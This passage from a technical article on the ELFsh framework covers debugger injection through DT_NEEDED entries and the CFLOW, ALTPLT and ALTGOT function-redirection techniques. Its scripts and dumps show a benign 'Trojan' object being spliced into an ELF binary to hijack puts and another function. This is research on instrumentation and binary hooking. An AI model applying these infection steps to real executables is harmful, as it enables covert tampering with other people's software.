When performing debugging using a debugger embedded in the debuggee process, we do not need ptrace so we cannot modify so easily the process address space. That's why we have to do small static changes : we add the debugger as a DT_NEEDED dependancy. The debugger will also overload some signal handlers (SIGTRAP, SIGINT, SIGSEGV ..) so that it can takes control on those events.

We can redirect functions as well using either the CFLOW or ALTPLT technique using on‑disk modification, so that we takes control at the desired moment. Obviously we can also set breakpoints in runtime but that need to mprotect the code zone if it was not writable for the moment. We have idea about how to get rid of mprotect but this was not implemented in that version (0.65). Indeed, many uses of the mprotect system call are incompatible with one of the PaX option). Fortunately we assume for now that we have read access to the debuggee program, which means that we can copy the file and disable that option.

This is how the DT_NEEDED dependence is added :

========= BEGIN DUMP 2 =========

elfsh@WTH $ cat inject_e2dbg.esh

#!../../vm/elfsh

load a.out

set 1.dynamic[08].val 0x2

set 1.dynamic[08].tag DT_NEEDED

redir main e2dbg_run

save a.out_e2dbg

========= END DUMP 2 =========

Let's see the modified binary .dynamic section, where the extra DT_NEEDED entries were added using the DT_DEBUG technique that we published 2 years ago [0] :

========= BEGIN DUMP 3 =========

elfsh@WTH $ ../../vm/elfsh ‑f ./a.out ‑d DT_NEEDED

[*] Object ./a.out has been loaded (O_RDONLY)

[SHT_DYNAMIC]

[Object ./a.out]

[00] Name of needed library => libc.so.6 {DT_NEEDED}

[*] Object ./a.out unloaded

elfsh@WTH $ ../../vm/elfsh ‑f ./a.out_e2dbg ‑d DT_NEEDED

[*] Object ./a.out_e2dbg has been loaded (O_RDONLY)

[SHT_DYNAMIC]

[Object ./a.out_e2dbg]

[00] Name of needed library => libc.so.6 {DT_NEEDED}

[08] Name of needed library => ibc.so.6 {DT_NEEDED}

[*] Object ./a.out_e2dbg unloaded

========= END DUMP 3 =========

Let's see how we redirected the main function to the hook_main function. You can notice the overwritten bytes between the 2 jmp of the hook_main function. This technique is also available MIPS architecture, but this dump is from the IA32 implementation :

========= BEGIN DUMP 4 =========

elfsh@WTH $ ../../vm/elfsh ‑f ./a.out_e2dbg ‑D main%40

[*] Object ./a.out_e2dbg has been loaded (O_RDONLY)

08045134 [foff: 308] hook_main + 0 jmp <e2dbg_run> 08045139 [foff: 313] hook_main + 5 push %ebp

0804513A [foff: 314] hook_main + 6 mov %esp,%ebp 0804513C [foff: 316] hook_main + 8 push %esi

0804513D [foff: 317] hook_main + 9 push %ebx

0804513E [foff: 318] hook_main + 10 jmp <main + 5>

08045139 [foff: 313] old_main + 0 push %ebp

0804513A [foff: 314] old_main + 1 mov %esp,%ebp 0804513C [foff: 316] old_main + 3 push %esi

0804513D [foff: 317] old_main + 4 push %ebx

0804513E [foff: 318] old_main + 5 jmp <main + 5>

08048530 [foff: 13616] main + 0 jmp <hook_main> 08048535 [foff: 13621] main + 5 sub $2010,%esp 0804853B [foff: 13627] main + 11 mov 8(%ebp),%ebx 0804853E [foff: 13630] main + 14 mov C(%ebp),%esi 08048541 [foff: 13633] main + 17 and $FFFFFFF0,%esp 08048544 [foff: 13636] main + 20 sub $10,%esp

08048547 [foff: 13639] main + 23 mov %ebx,4(%esp,1) 0804854B [foff: 13643] main + 27 mov $<_IO_stdin_used + 43>,(%esp,1) 08048552 [foff: 13650] main + 34 call <printf>

08048557 [foff: 13655] main + 39 mov (%esi),%eax

[*] No binary pattern was specified

[*] Object ./a.out_e2dbg unloaded

========= END DUMP 4 =========

Let's now execute the debuggee program, in which the debugger was injected.

========= BEGIN DUMP 5 =========

elfsh@WTH $ ./a.out_e2dbg

The Embedded ELF Debugger 0.65 (32 bits built) .::.

.::. This software is under the General Public License V.2 .::. Please visit http://www.gnu.org

[*] Sun Jul 31 17:56:52 2005 ‑ New object ./a.out_e2dbg loaded [*] Sun Jul 31 17:56:52 2005 ‑ New object /lib/tls/libc.so.6 loaded [*] Sun Jul 31 17:56:53 2005 ‑ New object ./ibc.so.6 loaded [*] Sun Jul 31 17:56:53 2005 ‑ New object /lib/ld‑linux.so.2 loaded [*] Sun Jul 31 17:56:53 2005 ‑ New object /lib/libelfsh.so loaded [*] Sun Jul 31 17:56:53 2005 ‑ New object /lib/libreadline.so.5 loaded [*] Sun Jul 31 17:56:53 2005 ‑ New object /lib/libtermcap.so.2 loaded [*] Sun Jul 31 17:56:53 2005 ‑ New object /lib/libdl.so.2 loaded [*] Sun Jul 31 17:56:53 2005 ‑ New object /lib/libncurses.so.5 loaded

(e2dbg‑0.65) b puts

[*] Breakpoint added at <puts@a.out_e2dbg> (0x080483A8)

(e2dbg‑0.65) continue

[..: Embedded ELF Debugger returns to the grave :...]

[e2dbg_run] returning to 0x08045139

[host] main argc 1

[host] argv[0] is : ./a.out_e2dbg

First_printf test

The Embedded ELF Debugger 0.65 (32 bits built) .::.

.::. This software is under the General Public License V.2 .::. Please visit http://www.gnu.org

[*] Sun Jul 31 17:57:03 2005 ‑ New object /lib/tls/libc.so.6 loaded

(e2dbg‑0.65) bt

.:: Backtrace ::.

[00] 0xB7DC1EC5 <vm_bt@ibc.so.6 + 208>

[01] 0xB7DC207F <cmd_bt@ibc.so.6 + 152>

[02] 0xB7DBC88C <vm_execmd@ibc.so.6 + 174>

[03] 0xB7DAB4DE <vm_loop@ibc.so.6 + 578>

[04] 0xB7DAB943 <vm_run@ibc.so.6 + 271>

[05] 0xB7DA5FF0 <e2dbg_entry@ibc.so.6 + 110>

[06] 0xB7DA68D6 <e2dbg_genericbp_ia32@ibc.so.6 + 183>

[07] 0xFFFFE440 <_r_debug@ld‑linux.so.2 + 1208737648># sigtrap retaddr [08] 0xB7DF7F3B <__libc_start_main@libc.so.6 + 235>

[09] 0x08048441 <_start@a.out_e2dbg + 33>

(e2dbg‑0.65) b

.:: Breakpoints ::.

[00] 0x080483A8 <puts@a.out_e2dbg>

(e2dbg‑0.65) delete 0x080483A8

[*] Breakpoint at 080483A8 <puts@a.out_e2dbg> removed

(e2dbg‑0.65) b

.:: Breakpoints ::.

[*] No breakpoints

(e2dbg‑0.65) b printf

[*] Breakpoint added at <printf@a.out_e2dbg> (0x080483E8)

(e2dbg‑0.65) dumpregs

.:: Registers ::.

[EAX] 00000000 (0000000000) <unknown>

[EBX] 08203F48 (0136331080) <.elfsh.relplt@a.out_e2dbg + 1811272> [ECX] 00000000 (0000000000) <unknown>

[EDX] B7F0C7C0 (3086010304) <__guard@libc.so.6 + 1656> [ESI] BFE3B7C4 (3219371972) <_r_debug@ld‑linux.so.2 + 133149428> [EDI] BFE3B750 (3219371856) <_r_debug@ld‑linux.so.2 + 133149312> [ESP] BFE3970C (3219363596) <_r_debug@ld‑linux.so.2 + 133141052> [EBP] BFE3B738 (3219371832) <_r_debug@ld‑linux.so.2 + 133149288> [EIP] 080483A9 (0134513577) <puts@a.out_e2dbg>

(e2dbg‑0.65) stack 20

.:: Stack ::.

0xBFE37200 0x00000000 <(null)>

0xBFE37204 0xB7DC2091 <vm_dumpstack@ibc.so.6>

0xBFE37208 0xB7DDF5F0 <_GLOBAL_OFFSET_TABLE_@ibc.so.6> 0xBFE3720C 0xBFE3723C <_r_debug@ld‑linux.so.2 + 133131628> 0xBFE37210 0xB7DC22E7 <cmd_stack@ibc.so.6 + 298>

0xBFE37214 0x00000014 <_r_debug@ld‑linux.so.2 + 1208744772> 0xBFE37218 0xB7DDDD90 <__FUNCTION__.5@ibc.so.6 + 49> 0xBFE3721C 0xBFE37230 <_r_debug@ld‑linux.so.2 + 133131616> 0xBFE37220 0xB7DB9DF9 <vm_implicit@ibc.so.6 + 304> 0xBFE37224 0xB7DE1A7C <world@ibc.so.6 + 92>

0xBFE37228 0xB7DA8176 <do_resolve@ibc.so.6>

0xBFE3722C 0x080530B8 <.elfsh.relplt@a.out_e2dbg + 38072> 0xBFE37230 0x00000014 <_r_debug@ld‑linux.so.2 + 1208744772> 0xBFE37234 0x08264FF6 <.elfsh.relplt@a.out_e2dbg + 2208758> 0xBFE37238 0xB7DDF5F0 <_GLOBAL_OFFSET_TABLE_@ibc.so.6> 0xBFE3723C 0xBFE3726C <_r_debug@ld‑linux.so.2 + 133131676> 0xBFE37240 0xB7DBC88C <vm_execmd@ibc.so.6 + 174>

0xBFE37244 0x0804F208 <.elfsh.relplt@a.out_e2dbg + 22024> 0xBFE37248 0x00000000 <(null)>

0xBFE3724C 0x00000000 <(null)>

(e2dbg‑0.65) continue

[..: Embedded ELF Debugger returns to the grave :...]

First_puts

The Embedded ELF Debugger 0.65 (32 bits built) .::.

.::. This software is under the General Public License V.2 .::. Please visit http://www.gnu.org

[*] Sun Jul 31 18:00:47 2005 ‑ /lib/tls/libc.so.6 loaded [*] Sun Jul 31 18:00:47 2005 ‑ /usr/lib/gconv/ISO8859‑1.so loaded

(e2dbg‑0.65) dumpregs

.:: Registers ::.

[EAX] 0000000B (0000000011) <_r_debug@ld‑linux.so.2 + 1208744763> [EBX] 08203F48 (0136331080) <.elfsh.relplt@a.out_e2dbg + 1811272> [ECX] 0000000B (0000000011) <_r_debug@ld‑linux.so.2 + 1208744763> [EDX] B7F0C7C0 (3086010304) <__guard@libc.so.6 + 1656> [ESI] BFE3B7C4 (3219371972) <_r_debug@ld‑linux.so.2 + 133149428> [EDI] BFE3B750 (3219371856) <_r_debug@ld‑linux.so.2 + 133149312> [ESP] BFE3970C (3219363596) <_r_debug@ld‑linux.so.2 + 133141052> [EBP] BFE3B738 (3219371832) <_r_debug@ld‑linux.so.2 + 133149288> [EIP] 080483E9 (0134513641) <printf@a.out_e2dbg>

(e2dbg‑0.65) linkmap

.::. Linkmap entries .::.

[01] addr : 0x00000000 dyn : 0x0804981C ‑

[02] addr : 0x00000000 dyn : 0xFFFFE590 ‑

[03] addr : 0xB7DE3000 dyn : 0xB7F0AD3C ‑ /lib/tls/libc.so.6 [04] addr : 0xB7D95000 dyn : 0xB7DDF01C ‑ ./ibc.so.6

[05] addr : 0xB7F29000 dyn : 0xB7F3FF14 ‑ /lib/ld‑linux.so.2 [06] addr : 0xB7D62000 dyn : 0xB7D93018 ‑ /lib/libelfsh.so [07] addr : 0xB7D35000 dyn : 0xB7D5D46C ‑ /lib/libreadline.so.5 [08] addr : 0xB7D31000 dyn : 0xB7D34BB4 ‑ /lib/libtermcap.so.2 [09] addr : 0xB7D2D000 dyn : 0xB7D2FEEC ‑ /lib/libdl.so.2 [10] addr : 0xB7CEB000 dyn : 0xB7D2A1C0 ‑ /lib/libncurses.so.5 [11] addr : 0xB6D84000 dyn : 0xB6D85F28 ‑ /usr/lib/gconv/ISO8859‑1.so

(e2dbg‑0.65) exit

[*] Unloading object 1 (/usr/lib/gconv/ISO8859‑1.so)

[*] Unloading object 2 (/lib/tls/libc.so.6)

[*] Unloading object 3 (/lib/tls/libc.so.6)

[*] Unloading object 4 (/lib/libncurses.so.5)

[*] Unloading object 5 (/lib/libdl.so.2)

[*] Unloading object 6 (/lib/libtermcap.so.2)

[*] Unloading object 7 (/lib/libreadline.so.5)

[*] Unloading object 8 (/home/elfsh/WTH/elfsh/libelfsh/libelfsh.so) [*] Unloading object 9 (/lib/ld‑linux.so.2)

[*] Unloading object 10 (./ibc.so.6)

[*] Unloading object 11 (/lib/tls/libc.so.6)

[*] Unloading object 12 (./a.out_e2dbg) *

.:: Bye ‑:: The Embedded ELF Debugger 0.65

========= END DUMP 5 =========

As you see, the use of the debugger is quite similar to other debuggers. The difference is about the implementation technique which allows for hardened and embedded systems debugging where ptrace is not present or disabled.

We were told [9] that the sigaction system call enables the possibility of doing step by step execution without using ptrace. We did not have time to implement it but we will provide a step‑capable debugger in the very near future. Since that call is not filtered by grsecurity and seems to be quite portable on Linux, BSD, Solaris and HP‑UX, it is definitely worth testing it.

‑‑‑[ D. Dynamic analyzers generation

Obviously, tools like ltrace [7] can be now done in elfsh scripts for multiple architectures since all the redirection stuff is available.

We also think that the framework can be used in dynamic software instrumentation. Since we support multiple architectures, we let the door open to other development team to develop such modules or extension inside the ELF shell framework.

We did not have time to include an example script for now that can do this, but we will soon. The kind of interresting stuff that could be done and improved using the framework would take its inspiration in projects like fenris [6]. That could be done for multiple architectures as soon as the instruction format type is integrated in the script engine, using the code abstraction of libasm (which is now included as sources in elfsh).

We do not deal with encryption for now, but some promising API [5] could be implemented as well for multiple architectures very easily.

‑‑‑‑‑‑‑[ III. Better multiarchitecture ELF redirections

In the first issue of the Cerberus ELF interface [0], we presented a redirection technique that we called ALTPLT. This technique is not enough since it allows only for PLT redirection on existing function of the binary program so the software extension usable functions set is limited.

Morever, we noticed a bug in the previously released implementation of the ALTPLT technique : On the SPARC architecture, when calling the original function, the redirection was removed and the program continued to work as if no hook was installed. This bug came from the fact that Solaris does not use the r_offset field for computing its relocation but get the file offset by multiplying the PLT entry size by the pushed relocation offset on the stack at the moment of dynamic resolution.

We found a solution for this problem. That solution consisted in adding some architecture specific fixes at the beginning of the ALTPLT section. However, such a fix is too much architecture dependant and we started to think about an alternative technique for implementing ALTPLT. As we had implemented the DT_DEBUG technique by modifying some entries in the .dynamic sections, we discovered that many other entries are erasable and allow for a very strong and architecture independant technique for redirecting access to various sections. More precisely, when patching the DT_PLTREL entry, we are able to provide our own pointer. DT_PLTREL is an architecture dependant entry and the documentation about it is quite weak, not to say inexistant.

It actually points on the section of the executable beeing runtime relocated (e.g. GOT on x86 or mips, PLT on sparc and alpha). By changing this entry we are able to provide our own PLT or GOT, which leads to possibly extending it.

Let's first have look at the CFLOW technique and then comes back on the PLT related redirections using the DT_PLTREL modification.

‑‑‑[ A. CFLOW: PaX‑safe static functions redirection

CFLOW is a simple but efficient technique for function redirection that are located in the host file and not having a PLT entry.

Let's see the host file that we use for this test:

========= BEGIN DUMP 6 =========

elfsh@WTH $ cat host.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

int legit_func(char *str)

{

printf("legit func (%s) !\n", str);

return (0);

}

intmain()

{

char *str;

char buff[BUFSIZ];

read(0, buff, BUFSIZ‑1);

str = malloc(10);

if (str == NULL)

goto err;

strcpy(str, "test");

printf("First_printf %s\n", str);

fflush(stdout);

puts("First_puts");

printf("Second_printf %s\n", str);

free(str);

puts("Second_puts");

fflush(stdout);

legit_func("test");

return (0);

err:

printf("Malloc problem\n");

return (‑1);

}

========= END DUMP 6 =========

We will here redirect the function legit_func, which is located inside host.c by the hook_func function located in the relocatable object.

Let's look at the relocatable file that we are going to inject in the above binary.

========= BEGIN DUMP 7 =========

elfsh@WTH $ cat rel.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

int glvar_testreloc = 42;

int glvar_testreloc_bss;

char glvar_testreloc_bss2;

short glvar_testreloc_bss3;

int hook_func(char *str)

{

printf("HOOK FUNC %s !\n", str);

return (old_legit_func(str));

}

int puts_troj(char *str)

{

int local = 1;

char *str2;

str2 = malloc(10);

*str2 = 'Z';

*(str2 + 1) = 0x00;

glvar_testreloc_bss = 43;

glvar_testreloc_bss2 = 44;

glvar_testreloc_bss3 = 45;

printf("Trojan injected ET_REL takes control now " "[%s:%s:%u:%u:%hhu:%hu:%u] \n",

str2, str,

glvar_testreloc,

glvar_testreloc_bss,

glvar_testreloc_bss2,

glvar_testreloc_bss3,

local);

free(str2);

putchar('e');

putchar('x');

putchar('t');

putchar('c');

putchar('a');

putchar('l');

putchar('l');

putchar('!');

putchar('\n');

old_puts(str);

write(1, "calling write\n", 14);

fflush(stdout);

return (0);

}

int func2()

{

return (42);

}

========= END DUMP 7 =========

As you can see, the relocatable object use of unknown functions like write and putchar. Those functions do not have a symbol, plt entry, got entry, or even relocatable entry in the host file.

We can call it however using the EXTPLT technique that will be described as a standalone technique in the next part of this paper. For now we focuss on the CFLOW technique that allow for redirection of the legit_func on the hook_func. This function does not have a PLT entry and we cannot use simple PLT infection for this.

We developped a technique that is PaX safe for ondisk redirection of this kind of function. It consists of putting the good old jmp instruction at the beginning of the legit_func and redirect the flow on our own code. ELFsh will take care of executing the overwritten bytes somewhere else and gives back control to the redirected function, just after the jmp hook, so that no runtime restoration is needed and it stays PaX safe on disk.

When these techniques are used in the debugger directly in memory and not on disk, they all break the mprotect protection of PaX, which means that this flag must be disabled if you want to redirect the flow directly into memory. We use use the mprotect syscall on small code zone for beeing able to changes some specific instructions for redirection. However, we think that this technique is mostly interresting for debugging and not for other things, so it is not our priority to improve this for now.

Let's see the small ELFsh script for this example :

========= BEGIN DUMP 8 =========

elfsh@WTH $ file a.out

a.out: ELF 32‑bit LSB executable, Intel 80386, dynamically linked, \ not stripped

elfsh@WTH $ cat relinject.esh

#!../../../vm/elfsh

load a.out

load rel.o

reladd 1 2

redir puts puts_troj

redir legit_func hook_func

save fake_aout

quit

========= END EXAMPLE 8 =========

The output of the ORIGINAL binary is as follow:

========= BEGIN DUMP 9 =========

elfsh@WTH $ ./a.out

First_printf test

First_puts

Second_printf test

Second_puts

LEGIT FUNC

legit func (test) !

========= END DUMP 9 ===========

Now let's inject the stuff:

========= BEGIN DUMP 10 ========

elfsh@WTH $ ./relinject.esh

The ELF shell 0.65 (32 bits built) .::.

.::. This software is under the General Public License V.2 .::. Please visit http://www.gnu.org

~load a.out

[*] Sun Jul 31 15:30:14 2005 ‑ New object a.out loaded

~load rel.o

[*] Sun Jul 31 15:30:14 2005 ‑ New object rel.o loaded

~reladd 1 2

Section Mirrored Successfully !

[*] ET_REL rel.o injected succesfully in ET_EXEC a.out

~redir puts puts_troj

[*] Function puts redirected to addr 0x08047164 <puts_troj>

~redir legit_func hook_func

[*] Function legit_func redirected to addr 0x08047134 <hook_func>

~save fake_aout

[*] Object fake_aout saved successfully

~quit

[*] Unloading object 1 (rel.o)

[*] Unloading object 2 (a.out) *

.:: Bye ‑:: The ELF shell 0.65

========= END DUMP 10 =========

Let's now execute the modified binary.

========= BEGIN DUMP 11 =========

elfsh@WTH $ ./fake_aout

First_printf test

Trojan injected ET_REL takes control now [Z:First_puts:42:43:44:45:1] extcall!

First_puts

calling write

Second_printf test

Trojan injected ET_REL takes control now [Z:Second_puts:42:43:44:45:1] extcall!

Second_puts

calling write

HOOK FUNC test !

Trojan injected ET_REL takes control now [Z:LEGIT FUNC:42:43:44:45:1] extcall!

calling write

legit func (test) !

elfsh@WTH $

========= END DUMP 11 =========

Fine. Clearly legit_func has been redirected on the hook function, and hook_func takes care of calling back the legit_func using the old symbol technique described in the first issue of the Cerberus articles serie.

Let's see the original legit_func code which is redirected using the CFLOW technique on the x86 architecture :

========= BEGIN DUMP 12 =========

080484C0 legit_func + 0 push %ebp

080484C1 legit_func + 1 mov %esp,%ebp

080484C3 legit_func + 3 sub $8,%esp

080484C6 legit_func + 6 mov $<_IO_stdin_used + 4>,(%esp,1) 080484CD legit_func + 13 call <.plt + 32>

080484D2 legit_func + 18 mov $<_IO_stdin_used + 15>,(%esp,1)

========= END DUMP 12 =========

Now the modified code:

========= BEGIN DUMP 13 =========

080484C0 legit_func + 0 jmp <hook_legit_func>

080484C5 legit_func + 5 nop

080484C6 legit_func + 6 mov $<_IO_stdin_used + 4>,(%esp,1) 080484CD legit_func + 13 call <puts>

080484D2 legit_func + 18 mov $<_IO_stdin_used + 15>,(%esp,1) 080484D9 legit_func + 25 mov 8(%ebp),%eax

080484DC legit_func + 28 mov %eax,4(%esp,1) 080484E0 legit_func + 32 call <printf>

080484E5 legit_func + 37 leave

080484E6 legit_func + 38 xor %eax,%eax

========= END DUMP 13 =========

We create a new section .elfsh.hooks whoose data is an array of hook code stubs like this one:

========= BEGIN DUMP 14 =========

08042134 hook_legit_func + 0 jmp <hook_func>

08042139 old_legit_func + 0 push %ebp

0804213A old_legit_func + 1 mov %esp,%ebp

0804213C old_legit_func + 3 sub $8,%esp

0804213F old_legit_func + 6 jmp <legit_func + 6>

========= END DUMP 14 =========

Because we want to be able to recall the original function (legit_func), we add the erased bytes of it, just after the first jmp. Then we call back the legit_func at the good offset (so that we do not recurse inside the hook because the function was hijacked), as you can see starting at the old_legit_func symbol of example 14.

This old symbols technique is coherent with the ALTPLT technique that we published in the first article. We can as well use the old_funcname() call inside the injected C code for calling back the good hijacked function, and we do that without a single byte restoration at runtime. That is why the CFLOW technique is PaX compatible.

For the MIPS architecture, the CFLOW technique is quite similar, we can see the result of it as well (DUMP 15 is the original binary and DUMP 16 the modified one):

======== BEGIN DUMP 15 =========

400400 <func>: lui gp,0xfc1

400404 <func+4>: addiu gp,gp,‑21696

400408 <func+8>: addu gp,gp,t9

40040c <func+12>: addiu sp,sp,‑40

400410 <func+16>: sw ra,36(sp)

[...]

======== END DUMP 15 =========

The modified func code is now :

======== BEGIN DUMP 16 =========

<func>

400400: addi t9,t9,104 # Register T9 as target function 400404: j 0x400468 <func2> # Direct JMP on hook function 400408: nop # Delay slot

40040c: addiu sp,sp,‑40 # The original func code 400410: sw ra,36(sp)

400414: sw s8,32(sp)

400418: move s8,sp

40041c: sw gp,16(sp)

400420: sw a0,40(s8)

======== END DUMP 16 =========

The func2 function can be anything we want, provided that it has the same number and type of parameters. When the func2 function wants to call the original function (func), then it jumps on the old_func symbol that points inside the .elfsh.hooks section entry for this CFLOW hook. That is how looks like such a hooks entry on the MIPS architecture :

======== BEGIN DUMP 17 =========

<old_func>

3ff0f4 addi t9,t9,4876

3ff0f8 lui gp,0xfc1

3ff0fc addiu gp,gp,‑21696

3ff100 addu gp,gp,t9

3ff104 j 0x400408 <func + 8>

3ff108 nop

3ff10c nop

======== END DUMP 17 ===========

As you can see, the three instructions that got erased for installing the CFLOW hook at the beginning of func() are now located in the hook entry for func(), pointed by the old_func symbol. The T9 register is also reset so that we can come back to a safe situation before jumping back on func + 8.

‑‑‑[ B. ALTPLT technique revised

ALTPLT technique v1 was presented in the Cerberus ELF Interface [0] paper. As already stated, it was not satisfying because it was removing the hook on SPARC at the first original function call.

Since on SPARC the first 4 PLT entries are reserved, there is room for 12 instructions that would fix anything needed (actually the first PLT entry) at the moment when ALTPLT+0 takes control.

ALTPLTv2 is working indeed in 12 instructions but it needed to reencode the first ALTPLT section entry with the code from PLT+0 (which is relocated in runtime on SPARC before the main takes control, which explains why we cannot patch this on the disk statically).

By this behavior, it breaks PaX, and the implementation is very architecture dependant since its SPARC assembly. For those who want to see it, we let the code of this in the ELFsh source tree in libelfsh/sparc32.c .

For the ALPHA64 architecture, it gives pretty much the same in its respective instructions set, and this time the implementation is located in libelfsh/alpha64.c .

As you can see in the code (that we will not reproduce here for clarity of the article), ALTPLTv2 is a real pain and we needed to get rid of all this assembly code that was requesting too much efforts for potential future ports of this technique to other architectures.

Then we found the .dynamic DT_PLTREL trick and we tried to see what happened when changing this .dynamic entry inside the host binary. Changing the DT_PLTREL entry is very attractive since this is completely architecture independant so it works everywhere.

Let's see how look like the section header table and the .dynamic section used in the really simple ALTPLTv3 technique. We use the .elfsh.altplt section as a mirror of the original .plt as explained in our first paper. The other .elfsh.* sections has been explained already or will be just after the log.

The output (modified) binary looks like :

=============== BEGIN DUMP 18 ================

[SECTION HEADER TABLE .::. SHT is not stripped]

[Object fake_aout]

[000] 0x00000000 ‑‑‑‑‑‑‑ foff:00000000 sz:0000000 link:00 [001] 0x08042134 a‑x‑‑‑‑ .elfsh.hooks foff:00000308 sz:0000016 link:00 [002] 0x08043134 a‑x‑‑‑‑ .elfsh.extplt foff:00004404 sz:0000048 link:00 [003] 0x08044134 a‑x‑‑‑‑ .elfsh.altplt foff:00008500 sz:0004096 link:00 [004] 0x08045134 a‑‑ms‑‑ rel.o.rodata.str1.32 foff:12596 sz:4096 link:00 [005] 0x08046134 a‑‑ms‑‑ rel.o.rodata.str1.1 foff:16692 sz:4096 link:00 [006] 0x08047134 a‑x‑‑‑‑ rel.o.text foff:00020788 sz:0004096 link:00 [007] 0x08048134 a‑‑‑‑‑‑ .interp foff:00024884 sz:0000019 link:00 [008] 0x08048148 a‑‑‑‑‑‑ .note.ABI‑tag foff:00024904 sz:0000032 link:00 [009] 0x08048168 a‑‑‑‑‑‑ .hash foff:00024936 sz:0000064 link:10 [010] 0x080481A8 a‑‑‑‑‑‑ .dynsym foff:00025000 sz:0000176 link:11 [011] 0x08048258 a‑‑‑‑‑‑ .dynstr foff:00025176 sz:0000112 link:00 [012] 0x080482C8 a‑‑‑‑‑‑ .gnu.version foff:00025288 sz:0000022 link:10 [013] 0x080482E0 a‑‑‑‑‑‑ .gnu.version_r foff:00025312 sz:0000032 link:11 [014] 0x08048300 a‑‑‑‑‑‑ .rel.dyn foff:00025344 sz:0000016 link:10 [015] 0x08048310 a‑‑‑‑‑‑ .rel.plt foff:00025360 sz:0000056 link:10 [016] 0x08048348 a‑x‑‑‑‑ .init foff:00025416 sz:0000023 link:00 [017] 0x08048360 a‑x‑‑‑‑ .plt foff:00025440 sz:0000128 link:00 [018] 0x08048400 a‑x‑‑‑‑ .text foff:00025600 sz:0000736 link:00 [019] 0x080486E0 a‑x‑‑‑‑ .fini foff:00026336 sz:0000027 link:00 [020] 0x080486FC a‑‑‑‑‑‑ .rodata foff:00026364 sz:0000116 link:00 [021] 0x08048770 a‑‑‑‑‑‑ .eh_frame foff:00026480 sz:0000004 link:00 [022] 0x08049774 aw‑‑‑‑‑ .ctors foff:00026484 sz:0000008 link:00 [023] 0x0804977C aw‑‑‑‑‑ .dtors foff:00026492 sz:0000008 link:00 [024] 0x08049784 aw‑‑‑‑‑ .jcr foff:00026500 sz:0000004 link:00 [025] 0x08049788 aw‑‑‑‑‑ .dynamic foff:00026504 sz:0000200 link:11 [026] 0x08049850 aw‑‑‑‑‑ .got foff:00026704 sz:0000004 link:00 [027] 0x08049854 aw‑‑‑‑‑ .got.plt foff:00026708 sz:0000040 link:00 [028] 0x0804987C aw‑‑‑‑‑ .data foff:00026748 sz:0000012 link:00 [029] 0x08049888 aw‑‑‑‑‑ .bss foff:00026760 sz:0000008 link:00 [030] 0x08049890 aw‑‑‑‑‑ rel.o.bss foff:00026768 sz:0004096 link:00 [031] 0x0804A890 aw‑‑‑‑‑ rel.o.data foff:00030864 sz:0000004 link:00 [032] 0x0804A894 aw‑‑‑‑‑ .elfsh.altgot foff:00030868 sz:0000048 link:00 [033] 0x0804A8E4 aw‑‑‑‑‑ .elfsh.dynsym foff:00030948 sz:0000208 link:34 [034] 0x0804AA44 aw‑‑‑‑‑ .elfsh.dynstr foff:00031300 sz:0000127 link:33 [035] 0x0804AB24 aw‑‑‑‑‑ .elfsh.reldyn foff:00031524 sz:0000016 link:00 [036] 0x0804AB34 aw‑‑‑‑‑ .elfsh.relplt foff:00031540 sz:0000072 link:00 [037] 0x00000000 ‑‑‑‑‑‑‑ .comment foff:00031652 sz:0000665 link:00 [038] 0x00000000 ‑‑‑‑‑‑‑ .debug_aranges foff:00032324 sz:0000120 link:00 [039] 0x00000000 ‑‑‑‑‑‑‑ .debug_pubnames foff:00032444 sz:0000042 link:00 [040] 0x00000000 ‑‑‑‑‑‑‑ .debug_info foff:00032486 sz:0006871 link:00 [041] 0x00000000 ‑‑‑‑‑‑‑ .debug_abbrev foff:00039357 sz:0000511 link:00 [042] 0x00000000 ‑‑‑‑‑‑‑ .debug_line foff:00039868 sz:0000961 link:00 [043] 0x00000000 ‑‑‑‑‑‑‑ .debug_frame foff:00040832 sz:0000072 link:00 [044] 0x00000000 ‑‑‑ms‑‑ .debug_str foff:00040904 sz:0008067 link:00 [045] 0x00000000 ‑‑‑‑‑‑‑ .debug_macinfo foff:00048971 sz:0029295 link:00 [046] 0x00000000 ‑‑‑‑‑‑‑ .shstrtab foff:00078266 sz:0000507 link:00 [047] 0x00000000 ‑‑‑‑‑‑‑ .symtab foff:00080736 sz:0002368 link:48 [048] 0x00000000 ‑‑‑‑‑‑‑ .strtab foff:00083104 sz:0001785 link:47

[SHT_DYNAMIC]

[Object ./testsuite/etrel_inject/etrel_original/fake_aout]

[00] Name of needed library => libc.so.6 {DT_NEEDED} [01] Address of init function => 0x08048348 {DT_INIT} [02] Address of fini function => 0x080486E0 {DT_FINI} [03] Address of symbol hash table => 0x08048168 {DT_HASH} [04] Address of dynamic string table => 0x0804AA44 {DT_STRTAB} [05] Address of dynamic symbol table => 0x0804A8E4 {DT_SYMTAB} [06] Size of string table => 00000127 bytes {DT_STRSZ} [07] Size of symbol table entry => 00000016 bytes {DT_SYMENT} [08] Debugging entry (unknown) => 0x00000000 {DT_DEBUG} [09] Processor defined value => 0x0804A894 {DT_PLTGOT} [10] Size in bytes for .rel.plt => 000072 bytes {DT_PLTRELSZ} [11] Type of reloc in PLT => 00000017 {DT_PLTREL} [12] Address of .rel.plt => 0x0804AB34 {DT_JMPREL} [13] Address of .rel.got section => 0x0804AB24 {DT_REL} [14] Total size of .rel section => 00000016 bytes {DT_RELSZ} [15] Size of a REL entry => 00000008 bytes {DT_RELENT} [16] SUN needed version table => 0x80482E0 {DT_VERNEED} [17] SUN needed version number => 001 {DT_VERNEEDNUM} [18] GNU version VERSYM => 0x080482C8 {DT_VERSYM}

=============== END DUMP 18 ================

As you can see, various sections has been copied and extended, and their entries in .dynamic changed. That holds for .got (DT_PLTGOT), .rel.plt (DT_JMPREL), .dynsym (DT_SYMTAB), and .dynstr (DT_STRTAB). Changing those entries allow for the new ALTPLT technique without any line of assembly.

Of course the ALTPLT technique version 3 does not need any non‑mandatory information like debug sections. It may sound obvious but some peoples really asked this question.

‑‑‑[ C. ALTGOT technique : the RISC complement

On the MIPS architecture, calls to PLT entries are done differently. Indeed, instead of a direct call instruction on the entry, an indirect jump is used for using the GOT entry linked to the desired function. If such entry is filled, then the function is called directly. By default, the GOT entries contains the pointer on the PLT entries. During the execution eventually, the dynamic linker is called for relocating the GOT section (MIPS, x86) or the PLT section (on SPARC or ALPHA).

Here is the MIPS assembly log that prove this on some dumb helloworld program using printf :

00400790 <main>:

